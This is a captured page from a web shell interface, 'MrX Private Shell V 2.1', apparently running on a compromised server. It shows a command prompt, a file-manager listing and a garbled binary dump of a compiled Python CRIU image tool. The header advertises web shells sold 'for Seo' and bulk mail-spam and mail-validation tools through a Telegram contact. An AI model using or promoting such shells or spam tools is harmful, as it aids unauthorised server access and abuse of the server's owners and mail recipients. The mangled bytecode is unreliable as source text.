__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.196: ~ $
3


iG.�@sHddlZddlZddlZddlZddlZddlmZdd�Zdd�Zdd	�Z	d
d�Z
dd
�Zdd�Zdd�Z
Gdd�d�Zd9dd�Zdd�Zdadd�Zdd�Zdd�Zdd�Zd d!�Zedd"d#�edd$d#�edd%d#�d&�Zd'd(�ZiZd)d*�Zd+d,�ZGd-d.�d.�Zd/d0�Zd1d2�Zeeeed3�Zd4d5�Z d6d7�Z!e"d8k�rDe!�dS):�N�)�__version__cCs2|drt|dd�Stjj�r&tjStjjSdS)N�in�rb)�open�sys�stdin�isatty�buffer)�opts�r�/usr/lib/python3.6/__main__.py�infs

rcCs8|dr"d}|rd}t|d|�S|r,tjStjjSdS)N�outzwb+zw+)rr�stdoutr
)r�decode�moderrr
�outfsrcCsttjj|d|�dd�S)N�dirr)r)r�os�path�join)r�namerrr
�dinf#srcCs�d}y tjjt|�|d|d�}WnDtjjk
rh}z$td|jtjd�tj	d�WYdd}~XnX|drvd}t
|d�}tj|||d�|tj
kr�|jd	�dS)
N�pretty�noplzSUnknown magic %#x.
Maybe you are feeding me an image with raw data(i.e. pages.img)?)�filer�T)�indent�
)�pycriu�images�loadrZMagicException�print�magicr�stderr�exitr�json�dumpr�write)rr�img�exc�frrr
r's 

rc
CsXytjt|��}Wn,tk
r>tdtjd�tjd�YnXtj	j
|t|d��dS)NzbCannot read JSON.
Maybe you are feeding me an image with protobuf data? Encode expects JSON input.)rrF)r'r"r�UnicodeDecodeErrorr#rr%r&r r!r(r)rr*rrr
�encode;s
r.cCs,tjjt|��}tj|tjdd�t�dS)Nr)r)	r r!�inforr'r(rrr#)rZinfsrrr
r/Fsr/cCs ||kr||S|d|dS)NZns_rr)�p�valrrr
�get_task_idLsr2c@seZdZdd�ZdS)�ps_itemcCs,t|d�|_|d|_||_||_g|_dS)N�pid�ppid)r2r4r5r0�core�kids)�selfr0r6rrr
�__init__Vs

zps_item.__init__N)�__name__�
__module__�__qualname__r9rrrr
r3Usr3cCs^td|jt|jd�t|jd�dd||jddf�x|jD]}t|||d�qBWdS)	Nz%7d%7d%7d   %s%sZpgidZsid� rZtcZcommr)r#r4r2r0r6r7�show_ps)r0r�depthZkidrrr
r>^s
r>c	Cs�i}tjjt|d��}xH|dD]<}tjjt|dt|d���}t||dd�}|||j<q Wd}x:|D]2}||}|jdkr�|}qj||j}|jj	|�qjWt
dd�t||�dS)Nz
pstree.img�entrieszcore-%d.imgr4rz%7s%7s%7s   %s�PID�PGID�SID�COMM)rArBrCrD)r r!r"rr2r3r4r5r7�appendr#r>)	rZpss�ps_imgr0r6�psZpsrr4Zpprrr
�
explore_psfs"


rHcCsntdkr<ytjjt|d��daWntk
r:gaYnXtt�dkrLdSxtD]}|d|krR|SqRWdS)Nz	files.imgr@r�id)�	files_imgr r!r"r�	Exception�len)r�ft�fidr,rrr
�ftype_find_in_files�s

rOcCsxt|||�}|r,|d|kr(||dSdS|ddkrRtjjt||��d|d<x |dD]}|d|kr\|Sq\WdS)N�fieldr*r@rI)rOr r!r"r)rrMrNr*r,rrr
�ftype_find_in_image�srQcCst|||d�}|r|dpdS)Nz
reg-files.imgrzunknown path)rQ)rrMrNZrfrrr
�	ftype_reg�srRcCs"t|||d�}|rd|dp dS)Nz	pipes.imgzpipe[%d]Zpipe_idzpipe[?])rQ)rrMrNr0rrr
�
ftype_pipe�srScCsDt|||d�}|sdS|dr*d|dp,d}d|d|d|fS)	Nz
unixsk.imgzunix[?]rz %s�zunix[%d (%d)%s]ZinoZpeer)rQ)rrMrNZux�nrrr
�
ftype_unix�s
rVZreg)�getr*rP�pipeZusk)�REG�PIPEZUNIXSKcCsd|d|fS)Nz%s.%d�typr)rrMrNrrr
�	ftype_gen�sr\cCsZ|d|df}tj|d�}|sVtj|dt|dd��}|d|||d�}|t|<|S)N�typerI)rWr[rW)�files_cacherW�
file_typesr\)r�fd�keyr,rMrrr
�get_file_str�srbc	Cstjjt|d��}x�|dD]�}t|d�}tjjt|d|��}|ddd}tjjt|d|��}td|�x*|dD]}td	|d
t||�f�q|Wtjjt|d|��dd}tdd
t|d|dd��f�tddt|d|dd��f�qWdS)Nz
pstree.imgr@r4z
ids-%s.imgrZfiles_idz
fdinfo-%d.imgz%dz	%7d: %sr`z	fs-%d.imgz	%7s: %s�cwdrYZcwd_id)r]rI�rootZroot_id)r r!r"rr2r#rb)rrFr0r4ZidiZfdtZfdir`rrr
�explore_fds�s$
rec@seZdZdd�Zdd�ZdS)�vma_idcCsi|_d|_dS)Nr)�_vma_id__ids�
_vma_id__last)r8rrr
r9�szvma_id.__init__cCs4|jj|d�}|s0|j}|jd7_||j|<|S)Nr)rgrWrh)r8Ziid�retrrr
rW�s
z
vma_id.getN)r:r;r<r9rWrrrr
rf�srfc	Cs&tjjt|d��}t�}�x|dD�]�}t|d�}tjjt|d|��dd}td|�tddt|d	|d
d��f��x�|dD�]�}|d
}|d0@r�dd|j|d�}n�|d1@r�dd|j|d�}n�|d2@�r�dd|j|d�}n�|d5@�rJdt|d	|dd��}|d�r6|d|d7}|d6@�r�|d7}nH|d7@�rZd}n8|d8@�rjd}n(|d9@�rzd }n|d!d"@�r�d#}nd$}|d:@�s�|d%7}|d&d@�r�d'�p�d(}	|	|d&d@�r�d)�p�d(7}	|	|d&d*@�r�d+�p�d(7}	d,|d-|d.f}
td/|
|	|f�q�Wq$WdS);Nz
pstree.imgr@r4z	mm-%d.imgrz%dz	%-36s    %sZexerYZexe_file_id)r]rI�vmas�statusr�
r=zips[%lx]�shmid�z
shmem[%lx]�zpacket[%lx]��Zpgoffz + %#lxz (s)z [stack]�z [vsyscall]�z [vdso]�flags�z	 [stack?]rTz *�prot�r�-�wr�xz%08lx-%08lx�start�endz
	%-36s%s%sirui�@��r~rrrrnr)	r r!r"rrfr2r#rbrW)rrFZvidsr0r4Zmmi�vma�st�fnrvZastrrrr
�explore_memssT









r�c
	Cs�tjjt|d��}�x�|dD�]�}t|d�}tjjt|d|��ddd}tjjt|d|��d}td|�d}d}�x0|d	d�D�]}d
|d|df}	x,|t|�kr�||d
|dkr�|d	7}q�W|d|dd>}
d}x�|t|�k�r�||d|
k�r�||}||k�r,|d7}nR|d|d|d
|dd?f7}|dd@�rz|dt|d|dd��7}|}|dd7}|d	7}q�W|d	8}td|	|f�q�WqWdS) Nz
pstree.imgr@r4z	mm-%d.imgrrjzpagemap-%d.imgz%drz	%lx / %-8dZvaddrZnr_pagesr|�rTr{z ~z
 %08lx / %-8drkrprqr=rYrm)r]rIz
	%23sz%-24s%s���r}r~r)r r!r"rr2r#rLrb)
rrFr0r4rjZpmsZvmiZpvmiZpmZpstrZpmeZvstrr�rrr
�explore_rss9s<
""

 r�)rG�fds�mems�rsscCst|d|�dS)N�what)�	explorers)rrrr
�explorehsr�c	Cs�d}tj|tjd�}|jddtd�|jdd�}|jdd	d�}|jd
ddd
�|jdddd�|jdddd�|jtdd�|jddd�}|jdddd�|jdddd�|jt	d�|jddd�}|jd�|jt
d�|jddd�}|jd �|jd!d"d#d$d%gd&�|jtd�|jd'd(d�}|jd�|jd)d*dd
�|jtd+dd,�t|j
��}|�s�tjj|j��tjjd-�tjd.�|d/|�dS)0NzCRiu Image Tool)�descriptionZformatter_classz	--version�version)�actionr�z-Use crit CMD --help for command-specific help)�helprz+convert criu image from binary type to jsonz--prettyzIMultiline with indents and some numerical fields in field-specific format�
store_true)r�r�z-iz--inz<criu image in binary format to be decoded (stdin by default)z-oz--outz:where to put criu image in json format (stdout by default)F)�funcrr.z+convert criu image from json type to binaryz:criu image in json format to be encoded (stdin by default)z<where to put criu image in binary format (stdout by default))r�r/zshow info about imagerrzzexplore image dirrr�rGr�r�r�)�choicesZshowz5convert criu image from binary to human-readable jsonz--noplz%do not show entry payload (if exists)T)r�rrzcrit: error: too few arguments
rr�)�argparse�ArgumentParserZRawTextHelpFormatter�add_argumentrZadd_subparsersZ
add_parserZset_defaultsrr.r/r��vars�
parse_argsrr%r)Zformat_usager&)	Zdesc�parserZ
subparsersZ
decode_parserZ
encode_parserZinfo_parserZx_parserZshow_parserrrrr
�mainlsh






r��__main__)r)#r�rr'rr rTrrrrrr.r/r2r3r>rHrJrOrQrRrSrVr_r\r^rbrerfr�r�r�r�r�r:rrrr
�<module>sZ
		
5(E


Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 156 B 0644
__init__.cpython-36.pyc File 156 B 0644
__main__.cpython-36.opt-1.pyc File 10.02 KB 0644
__main__.cpython-36.pyc File 10.02 KB 0644
version.cpython-36.opt-1.pyc File 131 B 0644
version.cpython-36.pyc File 131 B 0644